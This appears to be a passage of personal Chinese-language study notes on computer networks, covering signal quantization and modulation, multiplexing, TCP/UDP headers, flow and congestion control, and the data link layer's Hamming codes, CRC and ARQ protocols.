L越大,每个Delta越小,分的阶层越多,近似就越少,误差就越小 \[ SNR_{dB}=6.02n_b+1.76dB \]

这里\(n_b\)是每个样本需要多少位表示

在[-4D,4D]中有8个"合法振幅"等级,那么要编码一个合法振幅就得用\(\log_28=3\)个bit

因此在这里\(n_b=3\)

分层越多,也就是\(n_b\)越大,信噪比越大,也就是噪声的影响越小,也就是越准确.

编码

量化等级L,也就是分层个数越多,表示一个采样数据所需要的bit位数就越多 \[ n_b=\log_2 L \]

因此可以得到

\[ 比特率N=采样速率f_s \times 每个样本的位数n_b \]

人语音的频率范围是\([0,4k]Hz\),假设要数字化人的语音,每个样本有8位,比特率是多少?

根据奈奎斯特定律,采样速率得是最高频率的两倍,也就是说\(f_s=4kHz\times2=8kHz\)

那么比特率就是: \[ N=f_s\times n_b=8k\times 8=64kbps \] 电子包浆音乐应该就是量化等级太低导致的

带宽

\[ B_{min}=cN\frac{1}{r} \]

c,情形因子,取1/2

r,码元和携带比特位的比例,在NRZ或者双极性编码信号中r=1

N,传输速率,比特率\(N=f_s\times n_b\)

\(f_s=2f_{max}\)采样率,信号最大频率的二倍

\(n_b=\log_2 L\),每个样本的位数

带入得到 \[ B_{min}=\frac{1}{2}\times 2f_{max}\times n_b=f_{max}\times n_b \]

传输方式

并行

串行,包括同步,异步,等时

并行
image-20230206205143862

同时传送nbit,就需要n根线

串行
image-20230206205224898
异步传输
image-20230206205415315

数据可以字节为单位,在任何时候抵达,双方都不需要时钟

因此需要在字节两头加上起始和结束的标志位,用以同步

同步传输
image-20230206205500359

数据以帧为单位,双方需要有公共时钟,帧上没有起始结束标志,双方需要对拍

等时传输

数据以规定速率到达

比如实时音视频中,帧间的延迟应该相同且小,避免造成卡顿

模拟传输

概念区分

低通,带通,基带,宽带的关系:

基带通信使用低通信道

宽带通信使用带通信道

调频FM和频移键位FSK的关系?一个东西

数转模方法

image-20230206211028412

载波信号:发送设备产生高频信号作为基波承载信息

接收设备的收听频率和载波信号相同

数字信息通过改变载波信号的特性来将自身信息加到载波上去.称为调制或者移动键控

调制方法 调制图像 实现原理 带宽
二进制幅移键控BASK image-20230206211425111 image-20230206211328384 \(B=(1+d)\times S\)
二进制频移键控BFSK image-20230206211626226 image-20230206211736958 \(B=(1+d)\times S+2\Delta f\)
多电平时:
$B = (1+d ) ×S + ( L -1 )2Δf $
二进制相移键控BPSK image-20230206211835623 image-20230206211840285 \(B=(1+d)\times S\)
正交相移键控QPSK image-20230206212108468 image-20230206212156094

这个正交相移键控是啥意思呢?

使用同一个信号,里面有两个大的正交分量载波信号

两个分量并行传送

假设要传输信号00'10'01'11

两个一组取前一个扔给一个载波分量

取后一个扔给另一个垂直的载波分量

不用两根导线就可以同时传输两路信息,这就是QPSK的目的

实际上就是两个BPSK的正交

模转模方法

模转模方法 图像及原理 带宽
B为原始模拟信号带宽
调幅AM image-20230206213909043 \(B_{AM} = 2B\)
调频FM image-20230206213914303 $ B_{FM} = 2(1 + β)B\(<br />其中\)$为调制因子,通常设置为4
调相PM phase \(B_{PM} = 2(1 + β)B\)

带宽利用

这部分没看懂

复用

复用技术 原理 备注
频分多路复用FDM image-20230212145609855 合并模拟信号
波分多路复用WDM image-20230212145843612 合并光信号
时分多路复用TDM 同步时分复用和统计时分复用的区别
同步时分复用中,每一帧的最开始有一帧指示位用于同步,然后就是E,D,C,B,A每一路的数据,即使这一路上没有数据,也得用空时隙填充
统计时分复用中是哪一路有数据才传输哪一路,在数据之前标注这是哪一路的数据

复用:允许使用一条数据链路传输多个信号的技术

扩频

麻了,啥玩意儿

计算机网络-传输层

传输层

概念

网络层提供点到点服务,也就是主机到主机的服务

传输层提供端到端服务,也就是进程到进程的服务

image-20221128103802707

端口号

寻址方式 寻址范围
链路层 MAC地址
网络层 ip地址 ipv4地址32位
传输层 端口号 端口号16位

服务端端口号规定

image-20221128104113012

客户端都是临时端口,不用管到底用的哪个端口

套接字

socket=IP地址+端口号

一个套接字唯一标识了一个进程

一个TCP连接两头是两个套接字,即一个TCP连接被一对套接字决定

差错控制

可靠传输:不错,不丢,不乱

每一层的校验都只校验本层数据

差错控制的目的 是否可靠
数据链路层 通过CRC校验,保证一个帧中没有比特差错,但不能保证丢不丢帧 否,只能保证不错
网络层IP协议 只针对网络层包的头部进行CRC校验
传输层TCP协议 保证做到无传输差错

应用场景

传输层协议 应用场景
TCP 客户端和服务端多次交互入访问页面HTTP
传输文件FTP
电子邮件POP3,SMTP
UDP 实时聊天通信,DNS,多播,广播
对等网络技术P2P
部分路由协议RIP
网络时间管理NTP
简单网络管理SNTP

UDP

UDP首部

UDP首部

源端口,目的端口各16位,总长度16位,校验和16位

校验和

UDP的校验和=UDP伪首部+UDP首部+数据

这个伪首部指,源地址、目的地址、协议类型(0x11),一个字节的全0,一个字节的UDP数据长度,对齐填充2字节的0,整个伪首部共12个字节。

UDP伪首部是为了计算校验和而临时存在的,在计算之前由主机加上,计算之后立刻扔掉,不会参与传输

UDP伪首部和IP首部无关,不能理解为借用的IP首部

UDP伪首部不是IP首部

伪首部中的UDP长度就是UDP首部+UDP数据的长度,不需要考虑对齐填充,是多少就是多少

伪首部+UDP首部+数据一起计算校验和。

image-20221128110006207

具体计算方法:

16位一组相加,最高位进位回卷,和Sum取反得到CheckSum

在计算校验和时,此时UDP首部的校验和字段先置零,伪首部中的UDP长度就是实际的UDP长度,15,不用考虑对齐填充

image-20221128110218290

UDPの特点

1.报文在发送方这里不会拆分,发送方一次交付一个完整报文.

注意强调了发送方,因为网络层才不会管你拆不拆,大于MTU的报必须拆

比如如果发送方不管三七二十一发了一个巨大的上万字节的UDP报文

如果数据链路层使用以太网,那么每个以太网帧最大是1500字节,也就是说网络层的MTU=1500(Maximum Transmission Unit).

显然一个上万字节的UDP数据报无法直接发送,因此路由器会进行报文分割,把该UDP数据报拆分成若干不大于1500字节的包,分开发送

最终在接收方还是需要组装的

2.无流量控制,无差错控制,无拥塞控制

差错控制要求发现错误时要求重传,但是UDP数据报的校验和如果发现错误,直接被路由器或者主机丢弃,不会要求重传

TCP

分段传输:虚电路建立之后,看上去TCP协议直接发送和接收字节流,就像访问硬盘一样,但是下层实际上还是数据报实现的

一个图是需要切成好多段,扔给网络层以报文形式交付

TCP协议的熟知端口号

image-20230203162222069

特别注意

20-FTP.Data

21-FTP.Control

53-DNS

字节流

啥玩意叫字节流?

啥玩意叫流?Stream,在计算机里就是顺序读取或者写入的字节序列.

包括从硬盘读取的文件,从键盘输入的字符序列,从网络获取的字符序列.都叫流

叫做字节流,是因为还有一个字符流

两者的区别是,字节流使用8位一个字节为信息单元,一个字节传输一个信息,比如一个字母

而字符流使用16位两个字节作为信息单元,使用unicode编码传输信息

image-20221128111751747

"流"是针对应用层上的应用程序而言的,在应用程序看来,他调用read函数从硬盘读取字节流和调用recv函数从套接字获取字节流没有区别.

反正就是得用while(!read.eof()){read(buf,n,file);...}这样不停地从缓冲区取出字节,因为一个文件的传输,是像水流一样,源源不断地抵达缓冲区的,不可以一下子全部获取

传输层只管给应用程序的缓冲区写入数据,不管应用程序拿着数据干了啥

应用程序只管从缓冲区读取数据,不管传输层从哪里搞来的数据

因此,传输层单蹦个地顺序传送比特位,还是单蹦个顺序传送字节,抑或是分段每次传送成千个字节即分段,应用程序不关心,全靠传输层自由发挥了

显然传输层应该选择分段发送,这样效率高

为什么效率高?

对于网络来说头部长度固定,数据部分越长有效信息比例越高,需要发送的数据报越少,网络负载也就轻

对于主机来说,每个字节就发送一次,需要频繁地系统调用(显然访问网络这种外设需要系统调用),开销太大

首部格式

image-20221128111530489
Source/Destination port address

源/目的端口地址

sequence number

字节序列号,一个TCP包可以发送若干数据字节,每一个数据字节都编一个字节序列号,

在首部中sequence number表明本TCP报文中第一个数据字节的编号

本字段用于分段系统

acknowledgment number

确认号字段,期望收到的,对方下一个报文段数据的,第一个字节的序号

本字段用于分段系统

HLEN

header length首部长度,其单位是4字节

比如HLEN=5=0101b,表示首部长度为5*4=20字节

Reserved

保留字段,6位,目前全置零

控制字段

6位

用于TCP连接的流量控制,连接建立终止,连接失败和数据传送方式

image-20221128113731360

当URG=1时,紧急指针Urgent pointer才有效

如何体现紧急?

正常情况下一个TCP报文段会拆分重组

整个重组利索之后才会交付给应用程序

而紧急数据无需等待重组,直接交给应用程序

ACK,确认,1代表acknoledgment number字段有效

PSH,请求急迫,发送端不需等待窗口填满才发送

PSH用于什么情况?

缓冲区与PSH

进程A向socket写东西,实际上就是写到发送缓冲区中,此时并没有实际往网络上发送,啥时候发送呢?得等到缓冲区满了才发,这就像是机场包车的包不满不走一样

而PSH位就是要强迫发送,即使车没有坐满人,也把枪夹到司机头上给我立刻发车

有意义吗?急着发车干啥?还真有意义

有的乘客不在乎自己坐车多花的开销,他急着办事.

正如有些服务的及时性比效率更优先

比如ssh服务

客户端这会急着想看服务端根目录下有啥,于是客户端想发送一个ls命令,如果不加psh位,好吧你等着吧,啥时候缓冲区满了才发送.实际上ssh服务是psh=1的

image-20230203172915324

RST,重置连接

SYN,同步信号,建立连接时使用

FIN,结束

window size

窗口大小,单位字节

用于控制对方发送的数据量

根据自身缓冲区剩余空间大小,决定接收窗口大小,通知对方发送窗口上限

checksum

检验和

TCP检验和=TCP伪首部+TCP首部+TCP数据

其中TCP伪首部和UDP伪首部一模一样

urgent pointer

紧急指针字段,

如果有紧急数据,则一定放在TCP数据的最开始

紧急指针表明紧急数据的大小,单位字节

option

选项字段,长度可变

通常不用这个字段

TCP之规定一种选项,MSS,最大报文段长度,即TCP数据的最大长度

序号系统

由于TCP报文需要分段,因此需要引入一套编号机制,让分段和重组有序

TCP首部的sequence number,acknowledgment number两个字段和ACK,SYN两个标志位就是为序号系统服务的

需要牢记的是:

编号是给每个字节的编号,不是给分段的编号!

编号是给每个字节的编号,不是给分段的编号!

编号是给每个字节的编号,不是给分段的编号!

所有数据的第一个字节是一个\([0,2^{32})\)内的随机数

sequence number,该TCP报文段段第一个数据字节的编号

acknowledgment number,希望接收的下一个报文段的第一个数据字节的编号.也表明接收方已经正确接收该编号-1之前的所有字节

比如这么一个问题

image-20230203173943002

显然第一问是100-70=30

第二问,主机B接收到的字节序列应该是\([70,99]\),因此ack number=100,表明希望接收编号为100的字节,并且告知发送方,编号为99及之前的所有字节都已经正确接收了

连接建立&终止

三次握手建立连接

image-20230203224344990

服务端是被动打开的,而客户端是主动打开的

三次握手建立连接的目的是,证明通信双方的收发都正常

第一次握手,客户端啥也不知道,但是服务端知道客户端不哑,自己不聋

第二次握手,客户端知道了服务端收到了自己的消息,证明自己不哑,这次收到消息证明自己不聋.

此时只剩最后一步,此时服务端不知道自己是否哑巴

第三次握手,服务端收到客户端对第二次握手的确认,因此证明服务端不哑

第三次握手时,实际上客户端已经可以在TCP数据中,写上对服务端请求什么了

然而实际上HTTP协议中,三次握手不涉及任何有效数据传输,三次握手建立之后,客户端会另外发送GET请求

image-20230203225616420

四次挥手断开连接的目的是:

首先客户端主动提出FIN分手,表明客户端没有要求了

服务端收到客户端的分手请求后,立刻回复ACK收到,但是如果服务端还有没说完的话,还可以继续说.

这个阶段叫做半关闭阶段,客户端只能回复收到,不会再有新的请求

如果服务端也说完了,没有其他话要说了,就发送FIN

然后客户端收到FINI之后知道服务端也没得说了,回复收到

到此整个连接关闭

流量控制

区分流量控制和拥塞控制:

流量控制是避免接收方来不及接收,缓冲区溢出

拥塞控制是避免网络拥塞

为啥要进行流量控制?

接收方的缓冲区大小有限,要保证接收方来得及接收消息并腾出缓冲区

如果发送方发的过快,接收方处理慢,缓冲区满了,那么后来的消息就会被直接丢弃

如何进行流量控制?滑动窗口算法

滑动窗口算法

image-20230204190749379 \[ 发送方滑动窗口大小swnd=min(接收方滑动窗口大小rwnd,拥塞窗口大小cwnd) \] 其中rwnd是接收方缓冲区剩余空间大小

比如接收方缓冲区本身4KB,发送方发了一个1K的报文,填到接收方缓冲区中,此时接收方rwnd=3000,接收方就得在ACK报文中报告自己的rwnd大小,让发送方心里有数,后面该法多少

cwnd是发送方自己维护的,发送方根据接收方的回应报文丢失情况,推测网络的拥塞程度,动态调整cwnd的大小

TCP滑动窗口和数据链路层滑动窗口的区别:

TCP滑动窗口的单位是字节,而数据链路层滑动窗口的单位是帧

数据链路层的滑动窗口大小是固定的,而TCP滑动窗口大小根据实时情况改变

如图所示的滑动窗口(只是一个例子,实际上一个滑动窗口有成百上千字节)中,cwnd=20,rwnd=9,

这就意味着接收方此时的缓冲区只有9个字节的空间了,发送方顶多再发送9字节

image-20230208173522440

此时发送方啥状态呢?目前滑动窗口中的200,201,202三个字节都已经发送,可能是一个报文同时发走的,也可能是分批发走的,但是这不重要,重要的是,目前尚未得到接收方的ACK回复.发送方现在还可以接着发送203~208这6个字节.

如果发完了这6个字节仍热没有收到回复,就不能发了,得等等

时序图

image-20230208174029314

首先发送方得等接收方告知自己的接收窗口大小

拿到这个数之后,发送方就可以在这个接收窗口大小和拥塞窗口大小中娶一个最小值,然后放心地发送这么多字节

这些字节不必是一个报文发走的,这要看链路层对一个数据帧的限制,比如以太网帧中的数据不能超过1500字节.因此,即使swnd=min(cwnd,rwnd)=2400,也得分成多个报文发送

接收方会对发送方的每一个报文都进行回复,回复内容包括:

1.期待接收的下一个字节编号

2.当前接收方窗口剩余大小

当接收方的回复报文中,swnd=0时,发送方就得停下等接收方消化消化.

接收方消化一阵子之后,缓冲区有比较大的空间,能够容纳一个大帧时,才会主动发送更新报文.告知发送方,可以继续灌输了

等待缓冲区有较大空间的目的是,防止糊涂窗口综合征

这个更新报文的内容包括:

1.期待接收的下一个字节编号

2.当前接收方窗口剩余大小

为了防止这个更新报文丢包,发送方有一个坚持计时器.当发送方接到swnd=0的回复报文就开始了.如果在到时之前收到更新报文自然最好.如果没有收到,则发送方认为更新报文在路上丢了,于是发送方发送一个1字节的探测报文,提醒接收方更新报文丢失了.

差错控制

TCP的差错控制有三个手段

1.校验和,接收方收到坏段,丢弃并要求重传,通过ACK+坏段序号 要求重传

2.确认

发送方发出的每一个数据段都需要ACK确认

不携带数据但是占用序号的控制段也需要确认

ACK段不需要确认,因为ACK本身就是确认用的

3.重传

当段损坏,丢失或者超时,需要重传

ACK段不需要重传

重传的情形:

1.丢失段

image-20230208175609900

2.3ACK快速重传

image-20230208175633242

拥塞控制

拥塞控制可以理解为网络流问题

一条主干道的带宽是1000Mbps,其支线的带宽和是1500Mbps,如果所有支线都满载传输,则骨干路由器就得缓存支线的数据报文,满满地往主干道发.

如果骨干路由器缓冲区溢出,就有数据丢包了

拥塞控制还是滑动窗口算法,并且和流量控制兼容,体现在 \[ swnd=min(cwnd,rwnd) \]

慢启动和拥塞避免
image-20230208180115427

最初慢启动阶段,cwnd=1,发一个报文,收到ACK,这就意味着一次发一个包,网络可以承受,于是蹬鼻子上脸,cwnd=2,发俩报文,等俩ACK,如果又都受到了,那就更加猖狂

一直到慢启动阈sstresh,之后就不能指数扩大cwnd了,需要加性增大,也就是发一个包收到ACK就cwnd扩大1,一直这样直到计时器超时,说明达到网络流量上限了,

此时立刻回到慢启动阶段,cwnd=1,并重新设置ssthresh阈值为超时cwnd的一半

之后重复上述过程

3ACK快速恢复
image-20230208180505456

能够收到3ACK说明网络只是轻度拥塞

此时直接ssthresh降为收到3ACK时cwnd的一半,然后设置cwnd=ssthresh,然后重复加性增大阶段

状态转移图
image-20230208180715552

计算机网络-数据链路层

数据链路层

数据链路层的任务

数据链路层的功能:成帧,流量控制,差错控制,通信

成帧:多个数据帧之间如何区分?添加标志位,比如011111,如果接收方发现一个0后面连着5个1,就认为这和刚才接收到的数据不是一个帧的.

流量控制用于,限制发送方在等到确认之前发送的数据数量

差错控制指望重发,说官话就是"自动重复请求"(ARQ,Automatic Repeat Request)

冗余编码

冗余:Redundancy

冗余本是多余的意思,在计算机中,冗余量和业务逻辑无关,没有冗余照样执行业务

但是冗余可以增强非业务性能,比如信息论上的冗余可以提高发现错误和纠正错误的能力

考虑8个工件有一个坏件,质量和其他的不同(具体重了还是清了不知道)

最快多少次找到?这实际上就是尽量减少冗余,尽最大可能利用信息熵的问题

采用二分需要单调性,即知道这个坏件轻了还是重了,现在不知道,没法二分

三分?3v3v2,还是那个问题,3v3不知道哪个是标准

四分?(2v2)v(2v2).其中必有一组2v2都是标准件,天平平衡

不妨设前一个2v2平等,说明坏件一定在后面的2v2中,并且前面四个都是标准件,可以用来参考

后面的2v2就不用称了,每个2直接和两个标准件比较

必然有一组不平衡,这就意味着另一组必定平衡,从不平衡组任意拿出一个,和标准件对比

如果是坏件则天平不平衡,否则如果是好件,则同组另一件必定坏件

块编码

数据字+冗余=码字

什么思想呢?

假如原来要传输一个比特,要么是0要么是1

但是路上可能发生各种变故导致1变成0.但是接收方不知道发生了变故,它认为人家就是发送的0,于是错误接收了0

为了增加检错能力

添加一位冗余,比如数据字为0,码字就为00.数据字为1,码字就为11

这样如果有一位发生突变(认为两位同突变的概率低),会形成01或者10这种无效码字,发现错误

那么问题又来了,如果接到01,怎么确定它是00还是11变来的?两者都只需要突变一位就能形成01,因而只添加一位冗余无法纠错

于是再添加一位冗余,只有000和111合法

那么接到100,认为它是000突变来的,这个概率要比他是从111突变来的大.

于是就有了纠错能力.

实际上的块编码,是多位为一个数据字

整个报文划分为弱干块,每块k位,称为数据字

每块中假如r个冗余位,块长度变为n=k+r,形成这个n位的块叫做码字

码字有\(2^n\)种,但是其中实际承载数据字的只有\(2^k\)

如果一个承载数据的码字,其中的一位或者几位发生突变,突变之后的码字:

如果如果不承载数据,则可以被检错

如果也是承载数据的码字,则无法检错

比如4B/5B编码(部分)中:

image-20230208093738919

如果0100的编码01010最后一位发生突变,编程了01011,这是0101的编码.那么错误就检查不出来了,接收方会认为发送方一开始就是发的0101

下面推导,检错能力和纠错能力的条件是什么

汉明距离

假设只有一位突变

如果两个有效码字只有一位不同,这样不具备检错能力

如果任何两个有效码字至少有两位不同.这样才具备检错能力,但是不具备纠错能力

如果任何两个有效码字至少有三位不同.这样才具备纠错一位的能力,也可以检错两位

定义两个长度相同的字x,y的汉明距离是对应位不同的数量,记作\(d(x,y)\) \[ d(x,y)=x\oplus y 结果中1的数量 \] 最小汉明距离:一组字所有对中最小的汉明距离

编码方案

块编码方案记为\(C(n,k)\ with\ d_{min}=x\)

其中n是码字长度,k是数据字长度.\(d_{min}\)有效码字的最小汉明距离

当可以检错\(s\)个错误时,要求\(d_{min}=s+1\)

当可以纠错\(s\)个错误时,要求\(d_{min}> 2s\),也就是\(d_{min}=2s+1\)

因此最好采用奇数长度的码字

image-20230208100459337

x和y两个有效码字,有相同的概率突变为同一个错误码字,因而无法纠错

image-20230208101051053

x突变s位之后依然落在半径为s的圈里,而任意两个圈相离,也就是说一个错误码字一定有一个概率最大的突变来源.

这就有了纠错能力

线性块编码

线性块编码:任何两个有效码字的异或生成另一个有效码字.比如:

image-20230208101612648
最小汉明距离

线性快编码的最小汉明距离:1的个数最少的非零有效码字中的1的个数

还是以上图为例

非零码字 1的个数
01011 3
10101 3
11110 4

因此\(d_{min}=3\)

简单奇偶校验编码

\(n=k+1,d_{min}=2\)

只有一位校验位

比如\(C(5,4)\)

image-20230208102201761

突变奇数位可以被检查出

突变偶数位不可以

二维奇偶校验
image-20230208102627543

两维奇偶校验能检测出所有3位或3位以下的错误(因为此时至少在某一行或某一列上有一位错)、奇数位错以及很大一部分偶数位错。

汉明编码

对于汉明编码\(C(n,k),d_{min}=3\),有如下关系: \[ \begin{cases} n=2^m-1\\ k=n-m\\ r=m \end{cases} \] 比如\(C(7,4)\)中,\(n=7=2^m-1\)得到m=3

\(k=n-m=7-3=4\)即数据字位数

\(r=m=3\)即冗余位数

image-20230208103155013

如何检错?

比如数据字0111,计算冗余校验位: $$ \[\begin{cases} r_0=a_2+a_1+a_0=1+1+1=1\\ r_1=a_3+a_2+a_1=0+1+1=0\\ r_2=a_1+a_0+a_3=1+1+0=0 \end{cases}\]

$$ 得到码字\(0111001\)

如果码字没有错误,那么接收方计算得到的q2q1q0应该全零

如果码字有一位出现错误,变成\(0110001\)

在接收方(接收方认为顶多有一位发生错误): \[ q_0=b_2+b_1+b_0+q_0=1+1+0+1=1 \] 此时已经发现错误了,但是不能确认是b2,b1,b0,q0这四位中的哪一位出现的差错

然后又算得 \[ q_1=b_3+b_2+b_1+q_1=0+1+1+0=0 \] 说明b3b2b1q1都没错误,那么只有b0,q0中有错误

然后又算得 \[ q_2=b_1+b_0+b_3+q_2=1+0+0+0=1 \] 可以肯定是\(b_0\)的错误了

如果数据字至少是7位,计算满足一位检错条件的汉明编码方案 \[ \begin{cases} n=2^m-1\\ k=n-m\\ r=m \end{cases} \]

\[ k=n-m=2^m-1-m\ge7 \]

解得

\(m=4,n=15,k=11\)

因此满足条件的编码方案是\(C(15,11)\)

循环冗余编码

Cyclic Redundancy Check,CRC

\(C(n,k)\)

n位的码字,其中k位数据字,最右边加上n-k个0作为校正子的初始值,这样n位传递给生成器

生成器用长度n-k+1的除数去除码字

得到n-k位余数,填到校正子上

真码字(数据字:校正子)就计算完毕了,然后传输,然后被接收

接收方校验器用相同除数除码字

如果得到n-k位余数是0则无误,码字前k位就是数据字

否则丢弃

image-20230208110416498

计算过程

image-20230208111036131
多项式

CRC的除数称为生成多项式,简称生成子或者生成器\(g(x)\)

码字\(c(x)=d(x):s(x)\),码字就是数据字和校正子的增广

差错\(e(x)\)

校验原理:

image-20230208111438640

在发送端计算完的真码字一定满足\(\frac{c(x)}{g(x)}=0\)

因此对接收方的码字除以\(g(x)\),如果不为零,说明一定存在\(\frac{e(x)}{g(x)}\)这一项,也就是说分子不为零,即存在\(e(x)\)这一项,即存在差错

生成多项式的形式决定了检错能力

单个位差错

单个位差错是指\(e(x)=x^i\)的情形

检测单个位差错需要保证\(e(x)\)不能被\(g(x)\)整除

比如如果设置\(g(x)=1\),则任何多项式都被\(g(x)\)整除,这就查不出任何错误来

如果生成多项式至少有两项,并且有1这一项(也就是\(x^0\)这一项),那么所有单比特错误都可以检出

也就是说,\(g(x)\)的作用是,出现差错时,\(e(x)\)无法被\(g(x)\)整除

两独立位差错

两独立位差错指\(e(x)=x^i+x^j\)的情形 \[ e(x)=x^i+x^j=x^i(x^{j-i}+1)=x^i(x^t+1) \] 如果生成多项式\(g(x)\)无法整除\(x^t+1\)则所有独立两位错误都可以检查出来

比如\(x+1\)不能检查出两个相邻位的错误

\(x^4+1\)无法检查出两个相隔4位的错误

\(x^3+x^2+1\)就可以检查所有两个独立位错误

奇数个位差错

奇数个位错误指: \[ e(x)=x^{i1}+x^{i2}+...+x^{ik} \] 其中k是奇数

只要是\(g(x)\)包含\(x+1\)因式,就可以检查出\(e(x)\),证明:

假设检查不出来,即\(g(x)|e(x)\) \[ g(x)|e(x),x+1|g(x)\rightarrow x+1|e(x) \] 只需要证明\(x+1|e(x)\)不能成立

如果任何一个偶数项多项式都可以被\(x+1\)整除,那么任何奇数项多项式,就可以拆成一个偶数项多项式加一个单独的多项式.那么问题转化为单个比特错误

于是只需要证明任何偶数项多项式可以被\(x+1\)整除

由于任何偶数项多项式,都可以转化为若干个这种形式的和 \[ x^a(x^t+1) \]

由于多项式系数在模2域上,因此上式又可以写为 \[ x^n(1-x+x^2-x^3+...)=x^n\frac{1-(-x)^t}{1-(-x)} \] 当t是奇数时由上式得到 \[ x^t+1=(x+1)(x^{t-1}-x^{t-2}+x^{t-3}-...) \] 当t不是奇数,是偶数比如\(e(x)=x^2+1\),此时t=2是偶数

这就可以利用系数在模2域上的性质了

此时\(e(x)=x^2+1=x^2+2x+1=(x+1)^2\)

推广一下,可以得到\(x^t+1=(x+1)^t\)其中t是偶数,并且系数在模2域上

这就证明了\(x+1\)整除任何偶数项多项式

突发性错误

突发恶疾指接连几个bit位都可能发生错误 \[ e(x)=x^j+...x^i=x^j(1+...+x^{i-j}) \]\(e'(x)=1+...+x^{i-j}\)

意思时,起码两头的i,j两位是有错误的,中间的位可能有错误也可能无误,但是无所谓

\(L=i-j+1\),意思是突发性错误的长度

这L位中,提出公因式\(x^j\)之后,最低次项是1,最高次项是\(x^{i-j}\),这两项肯定得有

\(g(x)=x^r+...+1\)表示生成多项式,它至少包含\(x^r+1\)两项,这保证了可以检测任何单比特错误.其他比r低次的项可有可无.

如果\(g(x)\)阶比\(e'(x)\),即r>L-1,显然\(\frac{e'(x)}{g(x)}\)是有余数的,此时任何差错都可以检查出来

如果\(g(x)\)\(e'(x)\)同阶,即r=L-1,

此时只有\(e'(x)=g(x)\)只有这种情况没有余数,这个概率是多大呢?

要求\(g(x)\)\(e'(x)\)的每一项系数都相同,根据概率论独立事件乘法原则,这个概率是 \[ P(g(x)=e'(x))=(\frac{1}{2})^{L-2}=(\frac{1}{2})^{r-1} \]

这里L-2的原因是,\(g(x),e'(x)\)最高次项和常数项1都已经是相同的了,只需要考虑中间各项的情况

因此r=L-1时,能够检查出错误的概率是\(1-(\frac{1}{2})^{r-1}\)

如果\(g(x)\)\(e'(x)\)阶小,即L>r+1时,考虑啥情况检查不出错误?

比如\(e(x)=x^6+x^5+x+1\),\(g(x)=x^5+1\)

此时\(\frac{e(x)}{g(x)}=x+1\)可以被整除,无法检查出错误

考虑对于任意一个\(g(x)\),只要是其阶比\(e'(x)\)小,一定存在\(e'(x)\),使得\(g(x)|e'(x)\)吗?

确实如此,只需要构造\(e'(x)=x^{L-1-r}g(x)+g(x)=(x^{L-1-r}+1)g(x)\)

这是一个临界条件,保证了阶是L-1并且存在常数项1

还可以往里随便加\(x^kg(x),k\in(0,L-1-r)\)

这样满足条件的构造共有\(2^{L-2-r}\)

而L-1阶含常数项1的多项式共有\(2^{L-2}\)

因此构造的出现概率就是\(\frac{2^{L-2-r}}{2^{L-2}}=(\frac{1}{2})^r\),也就是检不出错误的概率

那么能够检查出错误的概率就是\(1-(\frac{1}{2})^r\)

总结:

所有$L ≤ r $的突发性差错均可被检测到。

所有$L = r + 1 $的突发性差错有$1 – (1/2)r–1 $的概率被检测到。

所有$L > r + 1 $的突发性差错有$1 – (1/2)r $ 的概率被检测到。

高性能多项式特性
  1. 至少有两项,要有常数项1,保证检查一位错误
  2. 不能整除 \(x^t + 1(2 ≤ t ≤ n − 1)\),保证检查两个独立位错误
  3. 应当有因子 \(x + 1\),保证检查所有奇数位数错误

校验和

脚丫子都知道怎么算,注意结果要取反

数据链路层协议:

image-20230204191849501

只要带上ARQ的肯定有差错控制功能

noiseless channel是没有噪声,不会丢包,不会重复,无损坏帧的理想信道,最简单协议和停止等待协议只是最初的一厢情愿

协议 特点
simplest 纯纯理想环境,
发送方不需要考虑丢包坏帧的情况,要说啥只说一遍,不多废话
接收方就洗耳恭听,也不需要回复收到
stop-and-wait 发送方发一个帧,就等着接收方回复收到
如果没有收到回复,那么可能是网络阻塞或者接收方死球了
长时间没有收到回复就认为超时了,重发该帧
啥时候收到回复确认,啥时候发下一帧
Stop-and-wait ARQ 停等ARQ协议中,每个帧要么编号1要么编号0(原序号模2得到)
如果收到0号帧,则下一个期望的就是1号帧
如果接收方接收到的帧不是期望帧,回复自己期望的那一帧
已发送的帧会被保留副本,如果超时没有收到该帧的确认(或者说下一帧的期待)
则重发超时帧
image-20230204193901028
Go-Back-N ARQ 实际上是Stop-and-wait ARQ的增强版
Stop-and-wait ARQ协议中没发一个包都要确认一下
现在可以发一组包然后确认一下
让确认这种控制信息比重更少
Selective Repeat ARQ Go-Back-N ARQ的增强版
Go-Back-N ARQ中接收方窗口为1,
本算法中将接收方窗口增强到和发送方窗口一样大
但是窗口大小更小了,为\(2^{m-1}\)
(Go-Back-N ARQ中发送方窗口是\(2^m-1\))
回退N帧自动重发请求

Go-Back-N Automatic Repeat Request

在帧头部设置一个帧序号字段,假设这个字段使用m位,那么可以编号\([0,2^m)\),即帧序号是模\(2^m\)

发送窗口:

发送方的发送窗口大小就设置为\(S_{size}=2^m-1\),

为什么要设置成这个值呢?为什么不设置成\(2^m\)?留作后话

比如帧序号字段占用4bit,那么发送方滑动窗口大小就是16-1=15

两个指针,

其中\(S_f\)永远指向最早没有被确认的窗口

\(S_n\)指向当前发送方应该发送的窗口位置

发送窗口

接收窗口:

image-20230204195932727

接收方只需要一个指针即可,只需要记录下一个期待接收的窗口

两个窗口如何交互?

假设发送方连续发了0到14帧,这几个帧是陆续到达的,接收方收到第n帧就会回复期待n+1帧.也可能一股脑收到了n,n+1,n+2这三帧,此时接收方直接回复一个累计确认,期望第n+3帧

考虑有丢包,可能接收方对0到5帧的确认都丢了,但是对第6帧的确认没丢,被发送方收到了,这时发送方Sf指针直接移动到第7帧,也就是发送方窗口右移,此时发送方就可以继续发送第15,16,17等等帧了

也可能发送方第0帧就在路上丢包了,第1,2,等等帧都到了,但是接收方不要,就要第一帧,于是接收方直接丢弃并保持沉默,

发送方发现从第0帧往后,一直长时间没有收到回应,就要从第0帧这里开始重发0到14帧

发送方滑动窗口大小设为\(2^m-1\)的目的

假设m=4,即帧的编号\(\in[0,15]\)

并且假设滑动窗口大小大于等于\(2^m=16\),不妨就设置为16

好,现在一个大文件成帧之后

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15...

滑动窗口要是16就会包含[0,15],假设发送方这16帧全都发出去了,但是网络太垃圾了,没有收到任何回复,而接收方实际上全都回复了,并且接收方已经准备接收下一个0号帧了

此时发送方认为接收方本次[0,15]全都没有收到,于是从0开始重发,但是接收方期望的是下一个0号帧

但是两个帧都是编号0,接收方无法发现错误,于是就错误地接受了

image-20230204201039834
选择性重传

在回退N帧自动重发中只有发送方会累计确认

在选择性重传中,发送方和接收方都会累计确认

解决了啥问题呢?

发送方如果发送了\([0,14]\)这些帧,接收方可能就得发送15个确认回复,回复太多这是其一

